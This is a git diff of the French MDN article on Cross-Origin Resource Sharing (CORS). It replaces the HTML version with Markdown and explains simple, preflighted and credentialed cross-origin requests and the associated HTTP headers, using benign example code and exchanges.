Certaines requêtes ne nécessitent pas de requête CORS préliminaire. Dans le reste de cet article, ce sont ce que nous appellerons des requêtes « simples » (bien que la spécification {{SpecName('Fetch')}} (qui définit le CORS) n'utilise pas ce terme). Une requête simple est une requête qui respecte les conditions suivantes :

- - - -
-

Note : Cela correspond aux classes de requêtes généralement produites par du contenu web. Aucune donnée de réponse n'est envoyée au client qui a lancé la requête sauf si le serveur envoie un en-tête approprié. Aussi, les sites qui empêchent les requêtes étrangères falsifiées ne craignent rien de nouveau.

-
- -
-

Note : WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS et Switch to a blacklist model for restricted Accept headers in simple CORS requests. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.

-
- -

Si, par exemple, on a un contenu web situé sous le domaine http://toto.example qui souhaite invoquer du contenu situé sous le domaine http://truc.autre, on pourrait utiliser du code JavaScript semblable à ce qui suit sur toto.example :

- -
var invocation = new XMLHttpRequest();
-var url = 'http://truc.autre/resources/public-data/';
-
-function callOtherDomain() {
-  if(invocation) {
-    invocation.open('GET', url, true);
-    invocation.onreadystatechange = handler;
-    invocation.send();
-  }
-}
-
- -

Cela entraînera un échange simple entre le client et le serveur laissant aux en-têtes CORS le soin de gérer les privilèges d'accès :

- -

- -

Voyons dans le détail ce que le navigateur envoie au serveur et quelle sera sa réponse :

- -
GET /resources/public-data/ HTTP/1.1
-Host: truc.autre
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://toto.example/exemples/access-control/simpleXSInvocation.html
-Origin: http://toto.example
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 00:23:53 GMT
-Server: Apache/2.0.61
-Access-Control-Allow-Origin: *
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: application/xml
-
-[XML Data]
-
- -

Les lignes 1 à 10 correspondent aux en-têtes envoyés. L'en-tête qui nous intéresse particulièrement ici est {{HTTPHeader("Origin")}}, situé à la ligne 10 : on y voit que l'invocation provient du domaine http://toto.example.

- -

Les lignes 13 à 22 détaillent la réponse HTTP du serveur situé sous le domaine http://truc.autre. Dans la réponse, le serveur renvoie un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} (visible à la ligne 16). On voit ici les en-têtes {{HTTPHeader("Origin")}} et {{HTTPHeader("Access-Control-Allow-Origin")}} pour un contrôle d'accès dans sa forme la plus simple. Ici, le serveur répond avec Access-Control-Allow-Origin: * ce qui signifie que la ressource peut être demandée par n'importe quel domaine. Si les propriétés de la ressource située sous http://truc.autre souhaitaient restreindre l'accès à la ressource à l'origine http://toto.example, ils auraient renvoyé :

- -

Access-Control-Allow-Origin: http://toto.example

- -

On notera que, dans ce cas, aucun autre domaine que http://toto.example (tel qu'identifié par l'en-tête Origin) ne pourra accéder à la ressource. L'en-tête Access-Control-Allow-Origin devrait contenir la valeur qui a été envoyée dans l'en-tête  Origin de la requête.

- -

Requêtes nécessitant une requête préliminaire

- -

À la différence des requêtes simples, les requêtes préliminaires envoient d'abord une requête HTTP avec la méthode {{HTTPMethod("OPTIONS")}} vers la ressource de l'autre domaine afin de déterminer quelle requête peut être envoyée de façon sécurisée. Les requêtes entre différents sites peuvent notamment utiliser ce mécanisme de vérification préliminaire lorsque des données utilisateurs sont impliquées.

- -

Une requête devra être précédée d'une requête préliminaire si une des conditions suivantes est respectée :

- - - -
-

Note : WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS et Switch to a blacklist model for restricted Accept headers in simple CORS requests. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.

-
- -

Voici un exemple d'une requête qui devra être précédée d'une requête préliminaire :

- -
var invocation = new XMLHttpRequest();
-var url = 'http://truc.autre/resources/post-here/';
-var body = '<?xml version="1.0"?><personne><nom>Toto</nom></personne>';
-
-function callOtherDomain(){
-  if(invocation)
-    {
-      invocation.open('POST', url, true);
-      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
-      invocation.setRequestHeader('Content-Type', 'application/xml');
-      invocation.onreadystatechange = handler;
-      invocation.send(body);
-    }
-}
-
-......
-
- -

Dans le fragment de code ci-avant, à la ligne 3, on crée un corps XML envoyé avec la requête POST ligne 8. Sur la ligne 9, on voit également un en-tête de requête HTTP non standard : X-PINGOTHER: pingpong. De tels en-têtes ne sont pas décrits par le protocole HTTP/1.1 mais peuvent être utilisés par les applications web. La requête utilisant un en-tête Content-Type qui vaut application/xml et un en-tête spécifique, il est nécessaire d'envoyer au préalable une requête préliminaire.

- -

- -
-

Note : Comme décrit après, la vraie requête POST n'inclut pas les en-têtes Access-Control-Request-* qui sont uniquement nécessaires pour la requête OPTIONS.

-
- -

Voyons ce qui se passe entre le client et le serveur. Le premier échange est la requête/réponse préliminaire :

- -
OPTIONS /resources/post-here/ HTTP/1.1
-Host: truc.autre
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Origin: http://toto.example
-Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:39 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://toto.example
-Access-Control-Allow-Methods: POST, GET
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 0
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
-
- -

Une fois que la requête préliminaire est effectuée, la requête principale est envoyée :

- -
POST /resources/post-here/ HTTP/1.1
-Host: truc.autre
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-X-PINGOTHER: pingpong
-Content-Type: text/xml; charset=UTF-8
-Referer: http://toto.example/exemples/preflightInvocation.html
-Content-Length: 55
-Origin: http://toto.example
-Pragma: no-cache
-Cache-Control: no-cache
-
-<?xml version="1.0"?><personne><nom>Toto</nom></personne>
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:40 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://toto.example
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 235
-Keep-Alive: timeout=2, max=99
-Connection: Keep-Alive
-Content-Type: text/plain
-
-[Une charge utile GZIPée]
-
- -

Entre les lignes 1 à 12 qui précèdent, on voit la requête préliminaire avec la méthode {{HTTPMethod("OPTIONS")}}. Le navigateur détermine qu'il est nécessaire d'envoyer cela à cause des paramètres de la requête fournie par le code JavaScript. De cette façon le serveur peut répondre si la requête principale est acceptable et avec quels paramètres. OPTIONS est une méthode HTTP/1.1 qui est utilisée afin de déterminer de plus amples informations à propos du serveur. La méthode OPTIONS est une méthode « sûre » (safe) et ne change aucune ressource. On notera, qu'avec la requête OPTIONS, deux autres en-têtes sont envoyés (cf. lignes 10 et 11) :

- -
Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
-
- -

L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} indique au serveur, pendant la requête préliminaire, que la requête principale sera envoyée avec la méthode POST. L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que la requête principale sera envoyée avec un en-tête X-PINGOTHER et un en-tête Content-Type spécifique. Le serveur peut alors déterminer s'il souhaite accepter une telle requête.

- -

Dans les lignes 14 à 26 qui suivent, on voit la réponse renvoyée par le serveur qui indique que la méthode de la requête (POST) ainsi que ses en-têtes (X-PINGOTHER) sont acceptables. Voici ce qu'on peut notamment lire entre les lignes 17 et 20 :

- -
Access-Control-Allow-Origin: http://toto.example
-Access-Control-Allow-Methods: POST, GET
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
- -

Le serveur répond avec un en-tête Access-Control-Allow-Methods et indique que les méthodes POST et GET sont acceptables pour manipuler la ressource visée. On notera que cet en-tête est semblable à l'en-tête de réponse {{HTTPHeader("Allow")}}, toutefois, Access-Control-Allow-Methods est uniquement utilisé dans le cadre du contrôle d'accès.

- -

Le serveur envoie également l'en-tête Access-Control-Allow-Headers avec une valeur "X-PINGOTHER, Content-Type" qui confirme que les en-têtes souhaités sont autorisés pour la requête principale. Comme Access-Control-Allow-Methods, Access-Control-Allow-Headers est une liste d'en-têtes acceptables séparés par des virgules.

- -

Enfin, l'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique avec une valeur exprimée en secondes, la durée pendant laquelle cette réponse préliminaire peut être mise en cache avant la prochaine requête préliminaire. Ici, la réponse est 86400 secondes, ce qui correspond à 24 heures. On notera ici que chaque navigateur possède un maximum interne qui a la priorité lorsque Access-Control-Max-Age lui est supérieur.

- -

Requêtes préliminaires et redirection

- -

À l'heure actuelle, la plupart des navigateurs ne prennent pas en charge les redirections pour les requêtes préliminaires. Si une redirection se produit pour une requête préliminaire, la plupart des navigateurs émettront un message d'erreur semblables à ceux-ci.

- -
-

La requête a été redirigée vers 'https://example.com/toto', ce qui n'est pas autorisé pour les requêtes multi-origines qui doivent être précédées d'une requête préliminaire. (The request was redirected to 'https://example.com/toto', which is disallowed for cross-origin requests that require preflight.)

-
- -
-

Il est nécessaire d'effectuer une requête préliminaire pour cette requête, or, ceci n'est pas autorisé pour suivre les redirections multi-origines. (Request requires preflight, which is disallowed to follow cross-origin redirect.)

-
- -

Le protocole CORS demandait initialement ce comportement. Toutefois, il a été modifié et ces erreurs ne sont plus nécessaires. Toutefois, la plupart des navigateurs n'ont pas encore implémenté cette modification et conservent alors le comportement conçu initialement.

- -

En attendant que les navigateurs comblent ce manque, il est possible de contourner cette limitation en utilisant l'une de ces deux méthodes :

- - - -

S'il n'est pas possible d'appliquer ces changements, on peut également :

- -
    -
  1. Effectuer une requête simple (avec Response.url si on utilise l'API Fetch ou  XHR.responseURL si on utilise XHR) afin de déterminer l'URL à laquelle aboutirait la requête avec requête préliminaire.
    2. -
  2. Effectuer la requête initialement souhaitée avec l'URL réelle obtenue à la première étape.
    3. -
- -

Toutefois, si la requête déclenche une requête préliminaire suite à l'absence de l'en-tête {{HTTPHeader("Authorization")}}, on ne pourra pas utiliser cette méthode de contournement et il sera nécessaire d'avoir accès au serveur pour contourner le problème.

- -

Requêtes avec informations d'authentification

- -

Une des fonctionnalités intéressante mise en avant par le CORS (via {{domxref("XMLHttpRequest")}} ou Fetch) est la possibilité d'effectuer des requêtes authentifiées reconnaissant les cookies HTTP et les informations d'authentification HTTP. Par défaut, lorsqu'on réalise des appels {{domxref("XMLHttpRequest")}} ou Fetch entre différents sites, les navigateurs n'enverront pas les informations d'authentification. Pour cela, il est nécessaire d'utiliser une option spécifique avec le constructeur {{domxref("XMLHttpRequest")}} ou {{domxref("Request")}} lorsqu'on l'appelle.

- -

Dans cet exemple, le contenu chargé depuis http://toto.example effectue une requête GET simple vers une ressource située sous http://truc.autre qui définit des cookies. Voici un exemple de code JavaScript qui pourrait se trouver sur toto.example :

- -
var invocation = new XMLHttpRequest();
-var url = 'http://truc.autre/resources/credentialed-content/';
-
-function callOtherDomain(){
-  if(invocation) {
-    invocation.open('GET', url, true);
-    invocation.withCredentials = true;
-    invocation.onreadystatechange = handler;
-    invocation.send();
-  }
-}
- -

À la ligne 7, on voit que l'option withCredentials, du constructeur {{domxref("XMLHttpRequest")}}, doit être activée pour que l'appel utilise les cookies. Par défaut, l'appel sera réalisé sans les cookies. Cette requête étant une simple requête GET, il n'est pas nécessaire d'avoir une requête préliminaire. Cependant, le navigateur rejettera tout réponse qui ne possède pas l'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}}: true et la réponse correspondante ne sera pas disponible pour le contenu web qui l'a demandée.

- -

- -

Voici un exemple d'échange entre le client et le serveur :

- -
GET /resources/access-control-with-credentials/ HTTP/1.1
-Host: truc.autre
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://toto.example/exemples/credential.html
-Origin: http://toto.example
-Cookie: pageAccess=2
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:34:52 GMT
-Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
-X-Powered-By: PHP/5.2.6
-Access-Control-Allow-Origin: http://toto.example
-Access-Control-Allow-Credentials: true
-Cache-Control: no-cache
-Pragma: no-cache
-Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 106
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
-
-
-[text/plain payload]
-
- -

Bien que la ligne 11 contienne le cookie pour le contenu sous http://truc.autre, si truc.autre n'avait pas répondu avec {{HTTPHeader("Access-Control-Allow-Credentials")}}: true (cf. ligne 19), la réponse aurait été ignorée et n'aurait pas pu être consommée par le contenu web.

- -

Requêtes authentifiées et jokers (wildcards)

- -

Lorsqu'il répond à une requête authentifiée, le serveur doit indiquer une origine via la valeur de l'en-tête Access-Control-Allow-Origin, il ne doit pas utiliser le joker "*".

- -

Avec la requête précédente, on voit la présence d'un en-tête Cookie mais la requête échouerait si la valeur de l'en-tête de réponse Access-Control-Allow-Origin était "*". Ici, ce n'est pas le cas : Access-Control-Allow-Origin vaut "http://toto.example" et le contenu récupéré par la requête est alors envoyé au contenu web.

- -

Dans cet exemple, on notera également que l'en-tête de réponse Set-Cookie définit un autre cookie. En cas d'échec, une exception (dépendant de l'API utilisée) sera levée.

- -

Cookies tiers

- -

On notera que les cookies provenant de réponses CORS sont également sujets aux règles qui s'appliquent aux cookies tiers. Dans l'exemple précédent, la page est chargée depuis toto.example et, à la ligne 22, le cookie est envoyé par truc.autre. Aussi, ce cookie n'aurait pas été enregistré si l'utilisateur avait paramétré son navigateur pour rejeter les cookies tiers.

- -

En-têtes de réponse HTTP

- -

Dans cette section, on liste les en-têtes de réponse HTTP qui sont renvoyés par le serveur pour le contrôle d'accès, tels que définis par la spécification Cross-Origin Resource Sharing. La section précédente illustre, avec des exemples concrets, leur fonctionnement.

- -

Access-Control-Allow-Origin

- -

Une ressource de réponse peut avoir un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} avec la syntaxe suivante :

- -
Access-Control-Allow-Origin: <origin> | *
-
- -

Le paramètre origin définit un URI qui peut accéder à la ressource. Le navigateur doit respecter cette contrainte. Pour les requêtes qui n'impliquent pas d'informations d'authentification, le serveur pourra indiquer un joker ("*") qui permet à n'importe quelle origine d'accéder à la ressource.

- -

Si on souhaite, par exemple, autoriser http://mozilla.org à accéder à la ressource, on pourra répondre avec :

- -
Access-Control-Allow-Origin: http://mozilla.org
- -

Si le serveur indique une origine spécifique plutôt que "*", il pourra également inclure la valeur Origin dans l'en-tête de réponse {{HTTPHeader("Vary")}} pour indiquer au client que la réponse du serveur variera selon la valeur de l'en-tête de requête {{HTTPHeader("Origin")}}.

- -

Access-Control-Expose-Headers

- -

L'en-tête {{HTTPHeader("Access-Control-Expose-Headers")}} fournit une liste blanche des en-têtes auxquels les navigateurs peuvent accéder. Ainsi :

- -
Access-Control-Expose-Headers: X-Mon-En-tete-Specifique, X-Un-Autre-En-tete
-
- -

Cela permettra que les en-têtes X-Mon-En-tete-Specifique et X-Un-Autre-En-tete soient utilisés par le navigateur.

- -

Access-Control-Max-Age

- -

L'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique la durée pendant laquelle le résultat de la requête préliminaire peut être mis en cache (voir les exemples ci-avant pour des requêtes impliquant des requêtes préliminaires).

- -
Access-Control-Max-Age: <delta-en-secondes>
-
- -

Le paramètre delta-en-seconds indique le nombre de secondes pendant lesquelles les résultats peuvent être mis en cache.

- -

Access-Control-Allow-Credentials

- -

L'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}} indique si la réponse à la requête doit être exposée lorsque l'option credentials vaut true. Lorsque cet en-tête est utilisé dans une réponse préliminaire, cela indique si la requête principale peut ou non être effectuée avec des informations d'authentification. On notera que les requêtes GET sont des requêtes simples et si une requête est effectuée, avec des informations d'authentification pour une ressource, et que cet en-tête n'est pas renvoyé, la réponse sera ignorée par le navigateur et sa charge ne pourra pas être consommée par le contenu web.

- -
Access-Control-Allow-Credentials: true
-
- -

Voir les scénarios ci-avant pour des exemples.

- -

Access-Control-Allow-Methods

- -

L'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique la ou les méthodes qui sont autorisées pour accéder à la ressoure. Cet en-tête est utilisé dans la réponse à la requête préliminaire (voir ci-avant les conditions dans lesquelles une requête préliminaire est nécessaire).

- -
Access-Control-Allow-Methods: <methode>[, <methode>]*
-
- -

Voir un exemple ci-avant pour l'utilisation de cet en-tête.

- -

Access-Control-Allow-Headers

- -

L'en-tête {{HTTPHeader("Access-Control-Allow-Headers")}} est utilisé dans une réponse à une requête préliminaire afin d'indiquer les en-têtes HTTP qui peuvent être utilisés lorsque la requête principale est envoyée.

- -
Access-Control-Allow-Headers: <nom-champ>[, <nom-champ>]*
-
- -

En-têtes de requête HTTP

- -

Dans cette section, nous allons décrire les en-têtes que les clients peuvent utiliser lors de l'envoi de requêtes HTTP afin d'exploiter les fonctionnalités du CORS. Ces en-têtes sont souvent automatiquement renseignés lors d'appels aux serveurs. Les développeurs qui utilisent {{domxref("XMLHttpRequest")}} pour les requêtes multi-origines n'ont pas besoin de paramétrer ces en-têtes dans le code JavaScript.

- -

Origin

- -

L'en-tête {{HTTPHeader("Origin")}} indique l'origine de la requête (principale ou préliminaire) pour l'accès multi-origine.

- -
Origin: <origine>
-
- -

L'origine est un URI qui indique le serveur à partir duquel la requête a été initiée. Elle n'inclut aucune information relative au chemin mais contient uniquement le nom du serveur.

- -
-

Note : origine peut être une chaîne vide (ce qui s'avère notamment utile lorsque la source est une URL de donnée).

-
- -

Pour chaque requête avec contrôle d'accès, l'en-tête {{HTTPHeader("Origin")}} sera toujours envoyé.

- -

Access-Control-Request-Method

- -

L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} est utilisé lorsqu'on émet une requête préliminaire afin de savoir quelle méthode HTTP pourra être utilisée avec la requête principale.

- -
Access-Control-Request-Method: <methode>
-
- -

Voir ci-avant pour des exemples d'utilisation de cet en-tête.

- -

Access-Control-Request-Headers

- -

L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} est utilisé lorsqu'on émet une requête préliminaire afin de communiquer au serveur les en-têtes HTTP qui seront utilisés avec la requête principale.

- -
Access-Control-Request-Headers: <nom-champ>[, <nom-champ>]*
-
- -

Voir ci-avant pour des exemples d'utilisation de cet en-tête.

- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}Nouvelle définition, remplace la spécification W3C pour le CORS.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Access-Control-Allow-Origin")}}

- -

Notes de compatibilité

- - - -

Voir aussi

- - \ No newline at end of file diff --git a/files/fr/web/http/cors/index.md b/files/fr/web/http/cors/index.md new file mode 100644 index 0000000000..24d38600ac --- /dev/null +++ b/files/fr/web/http/cors/index.md @@ -0,0 +1,554 @@ +--- +title: Cross-origin resource sharing (CORS) +slug: Web/HTTP/CORS +tags: + - AJAX + - CORS + - HTTP + - Same-origin policy + - XMLHttpRequest + - cross-site +translation_of: Web/HTTP/CORS +--- +
{{HTTPSidebar}}
+ +

Le «  Cross-origin resource sharing » (CORS) ou « partage des ressources entre origines multiples » (en français, moins usité) est un mécanisme qui consiste à ajouter des en-têtes HTTP afin de permettre à un agent utilisateur d'accéder à des ressources d'un serveur situé sur une autre origine que le site courant. Un agent utilisateur réalise une requête HTTP multi-origine (cross-origin) lorsqu'il demande une ressource provenant d'un domaine, d'un protocole ou d'un port différent de ceux utilisés pour la page courante.

+ +

Prenons un exemple de requête multi-origine : une page HTML est servie depuis http://domaine-a.com contient un élément <img> src ciblant http://domaine-b.com/image.jpg. Aujourd'hui, de nombreuses pages web chargent leurs ressources (feuilles CSS, images, scripts) à partir de domaines séparés (par exemple des CDN (Content Delivery Network en anglais ou « Réseau de diffusion de contenu »).

+ +

Pour des raisons de sécurité, les requêtes HTTP multi-origine émises depuis les scripts sont restreintes. Ainsi, {{domxref("XMLHttpRequest")}} et l'API Fetch respectent la règle d'origine unique. Cela signifie qu'une application web qui utilise ces API peut uniquement émettre des requêtes vers la même origine que celle à partir de laquelle l'application a été chargée, sauf si des en-têtes CORS sont utilisés.

+ +

+ +

Le CORS permet de prendre en charge des requêtes multi-origines sécurisées et des transferts de données entre des navigateurs et des serveurs web. Les navigateurs récents utilisent le CORS dans une API contenante comme {{domxref("XMLHttpRequest")}} ou Fetch pour aider à réduire les risques de requêtes HTTP multi-origines.

+ +

À qui est destiné cet article ?

+ +

Cet article est destiné à toutes et à tous.

+ +

Il pourra notamment servir aux administrateurs web, aux développeurs côté serveur ainsi qu'aux développeurs côté client. Les navigateurs récents permettent de gérer les règles de partage multi-origine côté client grâce à certaines règles et en-têtes mais cela implique également que des serveurs puissent gérer ces requêtes et réponses. Aussi, pour compléter le spectre concerné, nous vous invitons à lire d'autres articles complétant le point de vue « serveur » (par exemple cet article utilisant des fragments de code PHP).

+ +

Quelles requêtes utilisent le CORS ?

+ +

Le standard CORS est utilisé afin de permettre les requêtes multi-origines pour :

+ + + +

Cet article propose un aperçu général de Cross-Origin Resource Sharing ainsi qu'un aperçu des en-têtes HTTP nécessaires.

+ +

Aperçu fonctionnel

+ +

Le standard CORS fonctionne grâce à l'ajout de nouveaux en-têtes HTTP qui permettent aux serveurs de décrire un ensemble d'origines autorisées pour lire l'information depuis un navigateur web. De plus, pour les méthodes de requêtes HTTP qui entraînent des effets de bord sur les données côté serveur (notamment pour les méthodes en dehors de {{HTTPMethod("GET")}} ou pour les méthodes {{HTTPMethod("POST")}} utilisées avec certains types MIME), la spécification indique que les navigateurs doivent effectuer une requête préliminaire (« preflight request ») et demander au serveur les méthodes prises en charges via une requête utilisant la méthode {{HTTPMethod("OPTIONS")}} puis, après approbation du serveur, envoyer la vraie requête. Les serveurs peuvent également indiquer aux clients s'il est nécessaire de fournir des informations d'authentification (que ce soit des cookies ou des données d'authentification HTTP) avec les requêtes.

+ +

Les sections qui suivent évoquent les différents scénarios relatifs au CORS ainsi qu'un aperçu des en-têtes HTTP utilisés.

+ +

Exemples de scénarios pour le contrôle d'accès

+ +

Voyons ici trois scénarios qui illustrent le fonctionnement du CORS. Tous ces exemples utilisent l'objet {{domxref("XMLHttpRequest")}} qui peut être utilisé afin de faire des requêtes entre différents sites (dans les navigateurs qui prennent en charge cette fonctionnalité).

+ +

Les fragments de code JavaScript (ainsi que les instances serveurs qui gèrent ces requêtes) se trouvent sur http://arunranga.com/examples/access-control/ et fonctionnent pour les navigateurs qui prennent en charge {{domxref("XMLHttpRequest")}} dans un contexte multi-site.

+ +

Un aperçu « côté serveur » des fonctionnalités CORS se trouve dans l'article Contrôle d'accès côté serveur.

+ +

Requêtes simples

+ +

Certaines requêtes ne nécessitent pas de requête CORS préliminaire. Dans le reste de cet article, ce sont ce que nous appellerons des requêtes « simples » (bien que la spécification {{SpecName('Fetch')}} (qui définit le CORS) n'utilise pas ce terme). Une requête simple est une requête qui respecte les conditions suivantes :

+ + + +
+

Note : Cela correspond aux classes de requêtes généralement produites par du contenu web. Aucune donnée de réponse n'est envoyée au client qui a lancé la requête sauf si le serveur envoie un en-tête approprié. Aussi, les sites qui empêchent les requêtes étrangères falsifiées ne craignent rien de nouveau.

+
+ +
+

Note : WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS et Switch to a blacklist model for restricted Accept headers in simple CORS requests. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.

+
+ +

Si, par exemple, on a un contenu web situé sous le domaine http://toto.example qui souhaite invoquer du contenu situé sous le domaine http://truc.autre, on pourrait utiliser du code JavaScript semblable à ce qui suit sur toto.example :

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://truc.autre/resources/public-data/';
+
+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+
+ +

Cela entraînera un échange simple entre le client et le serveur laissant aux en-têtes CORS le soin de gérer les privilèges d'accès :

+ +

+ +

Voyons dans le détail ce que le navigateur envoie au serveur et quelle sera sa réponse :

+ +
GET /resources/public-data/ HTTP/1.1
+Host: truc.autre
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://toto.example/exemples/access-control/simpleXSInvocation.html
+Origin: http://toto.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[XML Data]
+
+ +

Les lignes 1 à 10 correspondent aux en-têtes envoyés. L'en-tête qui nous intéresse particulièrement ici est {{HTTPHeader("Origin")}}, situé à la ligne 10 : on y voit que l'invocation provient du domaine http://toto.example.

+ +

Les lignes 13 à 22 détaillent la réponse HTTP du serveur situé sous le domaine http://truc.autre. Dans la réponse, le serveur renvoie un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} (visible à la ligne 16). On voit ici les en-têtes {{HTTPHeader("Origin")}} et {{HTTPHeader("Access-Control-Allow-Origin")}} pour un contrôle d'accès dans sa forme la plus simple. Ici, le serveur répond avec Access-Control-Allow-Origin: * ce qui signifie que la ressource peut être demandée par n'importe quel domaine. Si les propriétés de la ressource située sous http://truc.autre souhaitaient restreindre l'accès à la ressource à l'origine http://toto.example, ils auraient renvoyé :

+ +

Access-Control-Allow-Origin: http://toto.example

+ +

On notera que, dans ce cas, aucun autre domaine que http://toto.example (tel qu'identifié par l'en-tête Origin) ne pourra accéder à la ressource. L'en-tête Access-Control-Allow-Origin devrait contenir la valeur qui a été envoyée dans l'en-tête  Origin de la requête.

+ +

Requêtes nécessitant une requête préliminaire

+ +

À la différence des requêtes simples, les requêtes préliminaires envoient d'abord une requête HTTP avec la méthode {{HTTPMethod("OPTIONS")}} vers la ressource de l'autre domaine afin de déterminer quelle requête peut être envoyée de façon sécurisée. Les requêtes entre différents sites peuvent notamment utiliser ce mécanisme de vérification préliminaire lorsque des données utilisateurs sont impliquées.

+ +

